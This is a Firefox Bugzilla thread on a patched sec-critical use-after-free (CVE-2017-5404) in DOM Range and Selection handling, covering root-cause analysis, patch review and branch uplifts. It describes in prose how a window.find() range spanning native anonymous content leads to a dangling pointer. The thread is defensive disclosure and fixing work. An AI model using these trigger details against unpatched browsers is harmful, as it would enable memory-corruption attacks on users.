Bugzilla

Assignee

Comment 2

•

8 years ago

Using local trunk builds on Linux, this is a null-pointer crash in both debug and opt builds.
We crash when we get a call to nsRange::UnregisterCommonAncestor with aNode=null.

In a debug build, there's a bunch of "disconnected nodes" assertions leading up to the crash:
ASSERTION: unexpected disconnected nodes: 'aDisconnected', file dom/base/nsContentUtils.cpp, line 2433
...
ASSERTION: unexpected disconnected nodes: 'aDisconnected', file dom/base/nsContentUtils.cpp, line 2433
ASSERTION: unexpected disconnected nodes: 'commonAncestor', file dom/base/nsRange.cpp, line 996
ASSERTION: bad arg: 'aNode', file dom/base/nsRange.cpp, line 426

Updated

•

8 years ago

Keywords: sec-critical

Andrew Overholt [:overholt]

Updated

•

8 years ago

Whiteboard: [disclosure date May 17 2017]

Comment 3

•

8 years ago

Mats, are you able to work on this?

Flags: needinfo?(mats)

Andrew Overholt [:overholt]

Updated

•

8 years ago

Priority: -- → P1

Jet Villegas (inactive)

Updated

•

8 years ago

Flags: needinfo?(bugs)

Comment 4

•

8 years ago

[Tracking Requested - why for this release]: public disclosure date partway into the Firefox 53 release cycle.

status-firefox51: --- → affected

status-firefox52: --- → affected

status-firefox53: --- → affected

status-firefox54: --- → affected

tracking-firefox53: --- → ?

tracking-firefox54: --- → ?

Updated

•

8 years ago

status-firefox51: affected → wontfix

status-firefox-esr52: --- → affected

Updated

•

8 years ago

tracking-firefox53: ? → +

tracking-firefox54: ? → +

tracking-firefox-esr52: --- → 53+

Assignee

Comment 5

•

8 years ago

The root cause here is that we set up the Range in the Selection with one
node inside a native anonymous tree and one node outside.  It's the NAC
<div> inside the <progress> element.  Then we destroy the <progress> frame
and create a AnonymousContentDestroyer, which when it runs calls
UnbindFromTree on the NAC.  The Range isn't notified about this though
so now it has a NAC boundary point with a null parent.  Now, CC detects
that it can collect both the Range+Selection and calls nsRange::Reset,
which calls nsRange::DoSetRange which tries to unregister the Range on
the GetCommonAncestor() node but it's null due to the NAC's null parent.
The result is a node in the tree referring to a deallocated nsRange.

The root cause is basically bug 1329658.  I fixed char/word movement
in bug 1328030 but line movement remains to be fixed.  I wasn't aware
this could lead to UAF at the time though.

We could also try to make nsRange more robust against this by falling
back to checking all ancestors of the non-NAC node.  Or, simply storing
the common ancestor node on the nsRange so that it can always be found
later when we need to unregister.

> Mats, are you able to work on this?

Generally, I think the DOM team now owns the Range & Selection code.
And I feel like these bugs take too much of my time.

I can take a look a making GetCommonAncestor() try harder in this
case to wallpaper it, which seems reasonably simple.  But I'll leave
bug 1329658 for someone else.  (I left some pointers on what code to
fix there.)

Flags: needinfo?(mats)

Comment 6

•

8 years ago

sure, DOM team owns Range, but you've been looking at the relevant code quite a bit ;)

If you don't have time for this, ping me, and I'll try to find time.

Assignee

Comment 7

•

8 years ago

Attached patch fix (obsolete) — Details — Splinter Review

It looks like the "enabler" for this bug is bug 384706, which made
nsFind::Find return ranges with mMaySpanAnonymousSubtrees = true
which the caller then adds to the Selection.  This range can then
be exploited by making it span into a NAC tree since that flag
disables the defense we have for that in nsRange::IsValidBoundary:
http://searchfox.org/mozilla-central/rev/b1044cf7c2000c3e75e8181e893236a940c8b6d2/dom/base/nsRange.cpp#1156

I don't think setting mMaySpanAnonymousSubtrees was actually needed
for window.find() to fix bug 384706 in the first place, it looks
like an unintentional side-effect.  And there's actually no need
to _return_ a result range with that flag at all AFAICT, it's just
needed for the internal ranges nsFindContentIterator uses, and
only for the specific case of searching in unstyled XML.

https://treeherder.mozilla.org/#/jobs?repo=try&revision=de4baea5d01d2cad67376d9291f161e022bf0229

Assignee: nobody → mats

Attachment #8841503 - Flags: review?(bugs)

Comment 8

•

8 years ago

Why is it safe to use CreateRange in nsFindContentIterator ?

Assignee

Comment 9

•

8 years ago

Those ranges are only used internally, never exposed to DOM or added to a Selection.
Since they're not in a Selection, they aren't registered on a DOM node and thus
don't suffer from this bug.

Assignee

Comment 10

•

8 years ago

BTW, nsFind is still the only place that set mMaySpanAnonymousSubtrees AFAICT
(apart from CloneRange), so this patch is complete in the sense that there's
no other way to expose such a range to DOM:
http://searchfox.org/mozilla-central/search?q=MaySpanAnonymousSubtrees&path=

Comment 11

•

8 years ago

Ok, why do we then need to change nsWebBrowserFind::SearchInFrame? Those ranges aren't added to selection either.

Assignee

Comment 12

•

8 years ago

Because they don't need that flag and I moved nsFind::CreateRange to the protected
section now to avoid anyone using it by mistake.

Comment 13

•

8 years ago

I'm having hard time to understand why the patch doesn't affect to searchRange handling, in case selection is somewhere in anonymous content.

Updated

•

8 years ago

Flags: needinfo?(mats)

Assignee

Comment 14

•

8 years ago

Perhaps this helps:
http://searchfox.org/mozilla-central/rev/90d1cbb4fd3dc249cdc11fe5c3e0394d22d9c680/toolkit/components/find/nsFind.cpp#1022-1024

This code is only looking for text nodes.  All NAC text nodes in Gecko are inside anonymous
block frames as far as I know, so this code will never result in a matching range that spans
a NAC to non-NAC.  If it's inside a NAC tree then I think the result already has the right
root, and nsRange::IsValidBoundary will also do the right thing:
http://searchfox.org/mozilla-central/rev/b1044cf7c2000c3e75e8181e893236a940c8b6d2/dom/base/nsRange.cpp#1165

Flags: needinfo?(mats)

Assignee

Comment 15

•

8 years ago

Attached file Testcase — Details

Here's a test that shows we can still find text inside a <textarea> for example.

Comment 16

•

8 years ago

Comment on attachment 8841503 [details] [diff] [review]
fix

>+  friend class nsFindContentIterator;
>+
>+  static already_AddRefed<nsIDOMRange> CreateRange(nsINode* aNode);
Move CreateRange to the iterator class and make it private there.

Attachment #8841503 - Flags: review?(bugs) → review+

Assignee

Comment 17

•

8 years ago

Attached patch fix — Details — Splinter Review

Nit fixed.

Attachment #8841503 - Attachment is obsolete: true

Attachment #8841680 - Flags: review+

Assignee

Comment 18

•

8 years ago

Comment on attachment 8841680 [details] [diff] [review]
fix

[Security approval request comment]
>How easily could an exploit be constructed based on the patch?

I suspect it's hard, the only clue is that it has something to do
with DOM ranges.  If you spend some time backtracking how this code
is used you can probably figure out that window.find() is using it.
But from there you'd still have to find a way to modify that range
to get one of the end points inside native anonymous content and
then destroy that node to get the condition for a crash.

>Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No, see above.

>Which older supported branches are affected by this flaw?

All.

>Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

I'm pretty sure the current patch applies as is to branches.

>How likely is this patch to cause regressions; how much testing does it need?

This code is used by window.find(), Find(CTRL+F) and FAYT (find-as-you-type).
The mMaySpanAnonymousSubtrees flag isn't needed for normal web pages,
so it seems pretty unlikely to affect that.
I've tested that searching in unstyled XML content still works using
a local Linux debug build, but if QA can verify that on other platforms
would be good (bug 384706 has an example in the URL field).
Testing Find(CTRL+F) and FAYT and anything else that involves searching
for text in the web page contents would be appreciated.

Attachment #8841680 - Flags: sec-approval?

Assignee

Updated

•

8 years ago

Flags: needinfo?(bugs)

Updated

•

8 years ago

status-firefox-esr45: --- → affected

tracking-firefox52: --- → ?

tracking-firefox-esr45: --- → ?

Comment 19

•

8 years ago

(In reply to Mats Palmgren (:mats) from comment #18)
> I'm pretty sure the current patch applies as is to branches.

This close to shipping (no more betas) we need to be more sure than that. I can sec-approve this but not grant beta approval at this point. If we can't get beta approval I'd rather this didn't land until a couple weeks after the merge.

Comment 20

•

8 years ago

Comment on attachment 8841680 [details] [diff] [review]
fix

sec-approval=dveditz, but DO NOT LAND on nightly unless we get beta approval for 52 (please fill out the request). If we don't make it into 52 we might get this as a ride-along in a point update, and Fx53 will still beat the Project Zero disclosure date.

Attachment #8841680 - Flags: sec-approval? → sec-approval+

Updated

•

8 years ago

Whiteboard: [disclosure date May 17 2017] → [Don't land until March 20 unless approved for 52][disclosure date May 17 2017]

Assignee

Comment 21

•

8 years ago

The files is under embedding/ in Beta rather than toolkit/ but the code
is the same.  I've verified it fixes the crash on Beta too.

Assignee

Comment 22

•

8 years ago

Comment on attachment 8841680 [details] [diff] [review]
fix

Approval Request Comment
[Feature/Bug causing the regression]: bug 384706
[User impact if declined]: exploitable crash
[Is this code covered by automated tests?]: I can't find any feature tests for window.find().  I suspect we have some for Find/FAYT, but I'm not sure.
[Has the fix been verified in Nightly?]:no, not landed in Nightly yet
[Needs manual test from QE? If yes, steps to reproduce]: Yes, it would be good to test Find(CTRL+F) and FAYT (find-as-you-type), both in normal web pages and in XML source (see URL in bug 384706), just as a sanity check.
[List of other uplifts needed for the feature/fix]: no
[Is the change risky?]:low risk
[Why is the change risky/not risky?]: we only removed setting the mMaySpanAnonymousSubtrees flag in some places, which shouldn't be needed for most use cases (i.e. search in normal web content), only for searching in unstyled XML documents (bug 384706), so it's pretty limited to that rare edge case
[String changes made/needed]:none

Attachment #8841680 - Flags: approval-mozilla-beta?

Attachment #8841680 - Flags: approval-mozilla-aurora?

Liz Henry (:lizzard) (relman/hg->git project)

Assignee

Comment 23

•

8 years ago

The patch applies cleanly on Aurora, and I've verified it fixes the crash there.

Comment 24

•

8 years ago

Can you also request uplift to mozilla-release since we already did the beta to release merge? 
I think we may also need separate patches for esr-45 and esr-52.  I would like to start the esr52 build today if possible.

Julien Cristau [:jcristau]

Assignee

Comment 25

•

8 years ago

Attached patch patch for Beta — Details — Splinter Review

Comment 26

•

8 years ago

Comment on attachment 8841680 [details] [diff] [review]
fix

sec-critical fix for aurora53

moving beta approval flag to the other patch.

Attachment #8841680 - Flags: approval-mozilla-beta?

Attachment #8841680 - Flags: approval-mozilla-aurora?

Attachment #8841680 - Flags: approval-mozilla-aurora+

Julien Cristau [:jcristau]

Comment 27

•

8 years ago

Comment on attachment 8841726 [details] [diff] [review]
patch for Beta

last-minute sec-critical fix for beta/release 52.

Should be in 52.0 build2

Attachment #8841726 - Flags: approval-mozilla-release+

Attachment #8841726 - Flags: approval-mozilla-beta+

Assignee

Comment 28

•

8 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/b76ee87a9589c1ad6d9b345cc67cca1f2181722c

status-firefox54: affected → fixed

Liz Henry (:lizzard) (relman/hg->git project)

Assignee

Updated

•

8 years ago

Flags: in-testsuite?

OS: Unspecified → All

Hardware: Unspecified → All

Comment 29

•

8 years ago

Marking this as a 52 release blocker because we should not ship without this fix now that we've landed the patch.

tracking-firefox52: ? → blocking

Julien Cristau [:jcristau]

Comment 30

•

8 years ago

uplift

https://hg.mozilla.org/releases/mozilla-aurora/rev/d1e712e5d17f

status-firefox53: affected → fixed

tracking-firefox-esr52: 53+ → ?

Updated

•

8 years ago

tracking-firefox-esr52: ? → 52+

Updated

•

8 years ago

Whiteboard: [Don't land until March 20 unless approved for 52][disclosure date May 17 2017] → [disclosure date May 17 2017]

Comment 31

•

8 years ago

uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/da387e840c73
https://hg.mozilla.org/releases/mozilla-release/rev/da387e840c73
https://hg.mozilla.org/releases/mozilla-esr52/rev/da387e840c73

Please nominate this for ESR45 ASAP.

status-firefox52: affected → fixed

status-firefox-esr52: affected → fixed

Flags: needinfo?(mats)

Assignee

Updated

•

8 years ago

Flags: needinfo?(mats)

Attachment #8841726 - Flags: approval-mozilla-esr52?

Attachment #8841726 - Flags: approval-mozilla-esr45?

Assignee

Updated

•

8 years ago

Attachment #8841726 - Flags: approval-mozilla-esr52?

Carsten Book [:Tomcat]

Comment 32

•

8 years ago

https://hg.mozilla.org/mozilla-central/rev/b76ee87a9589

Status: NEW → RESOLVED

Closed: 8 years ago

Resolution: --- → FIXED

Target Milestone: --- → mozilla54

Updated

•

8 years ago

Whiteboard: [disclosure date May 17 2017] → [disclosure date May 17 2017][adv-main52+]

Updated

•

8 years ago

Alias: CVE-2017-5404

Gerry Chang [:gchang]

Comment 33

•

8 years ago

Comment on attachment 8841726 [details] [diff] [review]
patch for Beta

Fix a sec-critical. ESR45+.

Attachment #8841726 - Flags: approval-mozilla-esr45? → approval-mozilla-esr45+

Comment 34

•

8 years ago

uplift

https://hg.mozilla.org/releases/mozilla-esr45/rev/556dd9e4a9e3

status-firefox-esr45: affected → fixed

Updated

•

8 years ago

tracking-firefox-esr45: ? → 52+

Whiteboard: [disclosure date May 17 2017][adv-main52+] → [disclosure date May 17 2017][adv-main52+][adv-esr45.8+]

Updated

•

8 years ago

Group: dom-core-security → core-security-release

Comment 35

•

8 years ago

The corresponding Project Zero bug has been made public.

See Also: → https://bugs.chromium.org/p/project-zero/issues/detail?id=1130